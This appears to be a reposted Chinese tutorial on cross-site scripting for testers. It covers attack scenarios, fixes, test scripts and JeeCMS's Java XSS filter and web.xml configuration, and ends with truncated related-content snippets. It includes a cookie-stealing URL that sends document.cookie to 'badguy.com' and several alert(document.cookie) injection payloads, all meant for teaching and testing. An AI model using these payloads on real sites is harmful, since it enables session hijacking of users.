xss攻击百科:
什么是xss攻击:
XSS 全称(Cross Site Scripting) 跨站脚本攻击, 是Web程序中最常见的漏洞。指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的. 比如获取用户的Cookie,导航到恶意网站,携带木马等。
作为测试人员,需要了解XSS的原理,攻击场景,如何修复。 才能有效的防止XSS的发生。
阅读目录
- XSS 是如何发生的
- HTML Encode
- XSS 攻击场景
- XSS漏洞的修复
- 如何测试XSS漏洞
- HTML Encode 和URL Encode的区别
- 浏览器中的XSS过滤器
- ASP.NET中的XSS安全机制
XSS 是如何发生的呢
假如有下面一个textbox
<input type="text" name="address1" value="value1from">
value1from是来自用户的输入,如果用户不是输入value1from,而是输入 "/><script>alert(document.cookie)</script><!- 那么就会变成
<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><!- ">
嵌入的JavaScript代码将会被执行
或者用户输入的是 "onfocus="alert(document.cookie) 那么就会变成
<input type="text" name="address1" value="" onfocus="alert(document.cookie)">
事件被触发的时候嵌入的JavaScript代码将会被执行
攻击的威力,取决于用户输入了什么样的脚本
当然用户提交的数据还可以通过QueryString(放在URL中)和Cookie发送给服务器. 例如下图
HTML Encode
XSS之所以会发生, 是因为用户输入的数据变成了代码。 所以我们需要对用户输入的数据进行HTML Encode处理。 将其中的"中括号", “单引号”,“引号” 之类的特殊字符进行编码。
在C#中已经提供了现成的方法,只要调用HttpUtility.HtmlEncode("string <scritp>") 就可以了。 (需要引用System.Web程序集)
Fiddler中也提供了很方便的工具, 点击Toolbar上的"TextWizard" 按钮
XSS 攻击场景
1. Dom-Based XSS 漏洞 攻击过程如下
Tom 发现了Victim.com中的一个页面有XSS漏洞,
例如: http://victim.com/search.asp?term=apple
服务器中Search.asp 页面的代码大概如下
<html> <title></title> <body> Results for <%Reequest.QueryString("term")%> ... </body> </html>
Tom 先建立一个网站http://badguy.com, 用来接收“偷”来的信息。
然后Tom 构造一个恶意的url(如下), 通过某种方式(邮件,QQ)发给Monica
http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>
Monica点击了这个URL, 嵌入在URL中的恶意Javascript代码就会在Monica的浏览器中执行. 那么Monica在victim.com网站的cookie, 就会被发送到badguy网站中。这样Monica在victim.com 的信息就被Tom盗了.
2. Stored XSS(存储式XSS漏洞), 该类型是应用广泛而且有可能影响大Web服务器自身安全的漏洞,攻击者将攻击脚本上传到Web服务器上,使得所有访问该页面的用户都面临信息泄露的可能。 攻击过程如下
Alex发现了网站A上有一个XSS 漏洞,该漏洞允许将攻击代码保存在数据库中,
Alex发布了一篇文章,文章中嵌入了恶意JavaScript代码。
其他人如Monica访问这片文章的时候,嵌入在文章中的恶意Javascript代码就会在Monica的浏览器中执行,其会话cookie或者其他信息将被Alex盗走。
Dom-Based XSS漏洞威胁用户个体,而存储式XSS漏洞所威胁的对象将是大量的用户.
XSS 漏洞修复
原则: 不相信客户输入的数据
注意: 攻击代码不一定在<script></script>中
- 将重要的cookie标记为http only, 这样的话Javascript 中的document.cookie语句就不能获取到cookie了.
- 只允许用户输入我们期望的数据。 例如: 年龄的textbox中,只允许用户输入数字。 而数字之外的字符都过滤掉。
- 对数据进行Html Encode 处理
- 过滤或移除特殊的Html标签, 例如: <script>, <iframe> , < for <, > for >, " for
- 过滤JavaScript 事件的标签。例如 "onclick=", "onfocus" 等等。
如何测试XSS漏洞
方法一: 查看代码,查找关键的变量, 客户端将数据传送给Web 服务端一般通过三种方式 Querystring, Form表单,以及cookie. 例如在ASP的程序中,通过Request对象获取客户端的变量
<% strUserCode = Request.QueryString(“code”); strUser = Request.Form(“USER”); strID = Request.Cookies(“ID”); %>
假如变量没有经过htmlEncode处理, 那么这个变量就存在一个XSS漏洞
方法二: 准备测试脚本,
"/><script>alert(document.cookie)</script><!-- <script>alert(document.cookie)</script><!-- "onclick="alert(document.cookie)
在网页中的Textbox或者其他能输入数据的地方,输入这些测试脚本, 看能不能弹出对话框,能弹出的话说明存在XSS漏洞
在URL中查看有那些变量通过URL把值传给Web服务器, 把这些变量的值退换成我们的测试的脚本。 然后看我们的脚本是否能执行
方法三: 自动化测试XSS漏洞
现在已经有很多XSS扫描工具了。 实现XSS自动化测试非常简单,只需要用HttpWebRequest类。 把包含xss 测试脚本。发送给Web服务器。 然后查看HttpWebResponse中,我们的XSS测试脚本是否已经注入进去了。
HTML Encode 和URL Encode的区别
刚开始我老是把这两个东西搞混淆, 其实这是两个不同的东西。
HTML编码前面已经介绍过了,关于URL 编码是为了符合url的规范。因为在标准的url规范中中文和很多的字符是不允许出现在url中的。
例如在baidu中搜索"测试汉字"。 URL会变成
http://www.baidu.com/s?wd=%B2%E2%CA%D4%BA%BA%D7%D6&rsv_bp=0&rsv_spt=3&inputT=7477
所谓URL编码就是: 把所有非字母数字字符都将被替换成百分号(%)后跟两位十六进制数,空格则编码为加号(+)
在C#中已经提供了现成的方法,只要调用HttpUtility.UrlEncode("string <scritp>") 就可以了。 (需要引用System.Web程序集)
Fiddler中也提供了很方便的工具, 点击Toolbar上的"TextWizard" 按钮
浏览器中的XSS过滤器
为了防止发生XSS, 很多浏览器厂商都在浏览器中加入安全机制来过滤XSS。 例如IE8,IE9,Firefox, Chrome. 都有针对XSS的安全机制。 浏览器会阻止XSS。 例如下图
如果需要做测试, 最好使用IE7。
ASP.NET中的XSS安全机制
ASP.NET中有防范XSS的机制,对提交的表单会自动检查是否存在XSS,当用户试图输入XSS代码的时候,ASP.NET会抛出一个错误如下图
很多程序员对安全没有概念, 甚至不知道有XSS的存在。 ASP.NET在这一点上做到默认安全。 这样的话就算是没有安全意识的程序员也能写出一个”较安全的网站“。
如果想禁止这个安全特性, 可以通过 <%@ Page validateRequest=“false" %>
转载自:
http://www.cnblogs.com/TankXiao/archive/2012/03/21/2337194.html
在jeecms中为了防止xss攻击做了简单的处理,但是让然可以攻击,我们就只说说防止的原理吧。
防止的原理就是通过将用户提交的信息通过特殊处理进行转义。只可以显示不可以运行操作。
针对httprequest的请求处理类:
package com.jeecms.common.web; import static com.jeecms.common.web.Constants.UTF8; import java.io.UnsupportedEncodingException; import java.net.URLDecoder; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequestWrapper; /** * @author Tom */ public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper { private String[]filterChars; private String[]replaceChars; public XssHttpServletRequestWrapper(HttpServletRequest request,String filterChar,String replaceChar,String splitChar) { super(request); if(filterChar!=null&&filterChar.length()>0){ filterChars=filterChar.split(splitChar); } if(replaceChar!=null&&replaceChar.length()>0){ replaceChars=replaceChar.split(splitChar); } } public String getQueryString() { String value = super.getQueryString(); if (value != null) { value = xssEncode(value); } return value; } /** * 覆盖getParameter方法,将参数名和参数值都做xss过滤。<br/> * 如果需要获得原始的值,则通过super.getParameterValues(name)来获取<br/> * getParameterNames,getParameterValues和getParameterMap也可能需要覆盖 */ public String getParameter(String name) { String value = super.getParameter(xssEncode(name)); if (value != null) { value = xssEncode(value); } return value; } public String[] getParameterValues(String name) { String[]parameters=super.getParameterValues(name); if (parameters==null||parameters.length == 0) { return null; } for (int i = 0; i < parameters.length; i++) { parameters[i] = xssEncode(parameters[i]); } return parameters; } /** * 覆盖getHeader方法,将参数名和参数值都做xss过滤。<br/> * 如果需要获得原始的值,则通过super.getHeaders(name)来获取<br/> getHeaderNames 也可能需要覆盖 */ public String getHeader(String name) { String value = super.getHeader(xssEncode(name)); if (value != null) { value = xssEncode(value); } return value; } /** * 将容易引起xss漏洞的半角字符直接替换成全角字符 * * @param s * @return */ private String xssEncode(String s) { if (s == null || s.equals("")) { return s; } try { s = URLDecoder.decode(s, UTF8); } catch (UnsupportedEncodingException e) { // TODO Auto-generated catch block e.printStackTrace(); } for (int i = 0; i < filterChars.length; i++) { if(s.contains(filterChars[i])){ s=s.replace(filterChars[i], replaceChars[i]); } } return s; } }
过滤器的使用:
package com.jeecms.common.web; /** * @author Tom */ import java.io.IOException; import javax.servlet.Filter; import javax.servlet.FilterChain; import javax.servlet.FilterConfig; import javax.servlet.ServletException; import javax.servlet.ServletRequest; import javax.servlet.ServletResponse; import javax.servlet.http.HttpServletRequest; public class XssFilter implements Filter { private String filterChar; private String replaceChar; private String splitChar; FilterConfig filterConfig = null; public void init(FilterConfig filterConfig) throws ServletException { this.filterChar=filterConfig.getInitParameter("FilterChar"); this.replaceChar=filterConfig.getInitParameter("ReplaceChar"); this.splitChar=filterConfig.getInitParameter("SplitChar"); this.filterConfig = filterConfig; } public void destroy() { this.filterConfig = null; } public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { chain.doFilter(new XssHttpServletRequestWrapper((HttpServletRequest) request,filterChar,replaceChar,splitChar), response); } }
web.xml配置:
<filter> <filter-name>XssFilter</filter-name> <filter-class>com.jeecms.common.web.XssFilter</filter-class> <init-param> <param-name>SplitChar</param-name> <param-value>@</param-value> </init-param> <init-param> <param-name>FilterChar</param-name> <param-value>'@"@\@#@:@%@></param-value> </init-param> <init-param> <param-name>ReplaceChar</param-name> <param-value>\'@\"@\@#@:@\\%@></param-value> </init-param> </filter> <filter-mapping> <filter-name>XssFilter</filter-name> <url-pattern>*.jspx</url-pattern> </filter-mapping>
相关推荐
- **安全防护**:集成多种安全机制,如防止SQL注入、XSS攻击等,确保网站数据安全。 2. **新功能与改进** - **性能优化**:9.2版本对系统的性能进行了深度优化,提高了页面加载速度和响应时间。 - **增强的权限...
安全方面,Jeecms内置了一些安全机制,如防止SQL注入、XSS攻击等。然而,二次开发时,开发者需要确保新增功能不会引入新的安全风险。因此,了解基本的安全编程原则和最佳实践,以及如何利用Jeecms提供的安全组件,是...
5. **安全机制**:分析系统中的登录认证、权限控制等模块,了解如何防止SQL注入、XSS攻击等常见的网络安全问题。 6. **集成框架**:如果Jeecms使用了Spring、Struts或MyBatis等框架,那么理解这些框架的工作原理和...
5. 安全机制:了解Jeecms的安全策略,如防止SQL注入、XSS攻击等。 6. 自定义扩展:研究插件机制,学习如何开发自己的功能模块。 四、二次开发与实践 1. 功能扩展:根据业务需求,添加新的功能或修改已有功能。 2. ...
JEECMS2.0 版本源码阅读笔记 JEECMS 作为一个基于 Java 的内容管理系统,具有强大的功能和灵活的架构。阅读 JEECMS 的源码,可以了解到其内部的实现机制和设计理念。在本文中,我们将对 JEECMS 2.0 版本的源码进行...
jeecms9.2源代码文件 环境软件可以从以下网址中获得 Jdk 7.0 下载址: http://java.sun.com/javase/downloads/index.jsp Tomcat7 下载地址:https://tomcat.apache.org/download-70.cgi MySQL 5.0.22 下载地址:...
3. **XSS防护**:通过输出内容的编码和过滤,Jeecms防止跨站脚本(XSS)攻击,保护用户免受恶意代码的侵害。 4. **CSRF防护**:利用令牌(Token)机制,Jeecms防止跨站请求伪造(CSRF)攻击,确保用户操作的合法性...
JEECMSv8.1是一款支持微信小程序、栏目模型、内容模型交叉自定义、以及具备支付和财务结算的内容电商为一体内容管理系统:通过后台的简单设置即可自定义出集新闻管理、图库管理、视频管理、下载系统、文库管理、政务...
- **安全性**:Jeecms注重安全,提供多种防护机制,防止SQL注入、XSS攻击等。 - **扩展性**:通过插件机制,用户可以轻松添加自定义功能,满足个性化需求。 2. **Jeecms-3.0.4-final版本**: - 这个版本可能是...
摘要:JSP源码,CMS系统,JeeCMS jeecms v2012版是一款集新闻管理、图库管理、视频管理、下载系统、作品管理、产品发布及留言板于一体的综合性CMS系统。 jeecms v2012版新增功能如下: 1、新增统计功能 1.1...
为了保证系统的安全,JeeCMS提供了一些安全措施,如防止SQL注入、XSS攻击等。定期备份数据库和更新系统补丁也是维护工作的重要环节。 ### 9. 性能优化 对于大型网站,性能优化是必不可少的。JeeCMS支持缓存机制、...
在这个场景中,我们需要了解如何修改Jeecms V6版本的后台访问路径,以提高系统的安全性和避免被恶意攻击者轻易猜到后台入口。 首先,后台访问路径的修改主要涉及到Web应用的配置文件,包括`web.xml`、`jeecms-...
Jeecms在设计时考虑了安全因素,包括SQL注入防护、XSS攻击防御、登录验证码等,为网站的安全运行提供了保障。 7. **二次开发与扩展**: Jeecms提供了丰富的API和插件机制,便于开发者进行二次开发和功能扩展。...
7. **安全防护**:Jeecms本身具有一定的安全防护机制,如防止SQL注入、XSS攻击等,确保小程序运行的安全性。 在提供的文件列表中,"说明.htm"可能是对Jeecms微信小程序的详细使用指南,包括安装步骤、配置方法以及...
作为一个专业的IT大师,我将深入解析Jeecms 3.0的关键特性、改进点以及它在实际应用中的优势。 首先,Jeecms 3.0的核心升级在于增强了内容管理的灵活性。系统提供了更加丰富的模板引擎,使得网站设计者能够更加自由...
7. 安全性:源码中应包含了防止SQL注入、XSS攻击等安全措施,这对于理解Web应用的安全性至关重要。 8. 数据备份与恢复:CMS系统通常会提供数据备份和恢复功能,确保数据安全。 通过深入学习JEECMS 2.4.2的源码,...
在二次开发方面,jeecmsV6支持元件式无限插件扩展方式,开发者根据jeecms的插件开发标准所开发出来的插件,插件与jeecms是平行的,无论是插件升级还是jeecms系统升级,都可以实现独立升级,插件与插件、插件与jeecms...
JeecmsV5是一款基于Java技术的企业级内容管理系统,它专为中大型网站设计,具有高效、稳定、易用的特点。这款系统集成了强大的内容管理功能,包括文章、图片、下载等多种类型的资源管理,同时也提供了丰富的模板引擎...
**JEECMS详解** JEECMS,全称为Java Enterprise Edition Content Management System,是一款基于Java EE技术的开源内容管理系统。作为企业级的CMS解决方案,它具备高效、安全、易用、可扩展性强等特性,广泛应用于...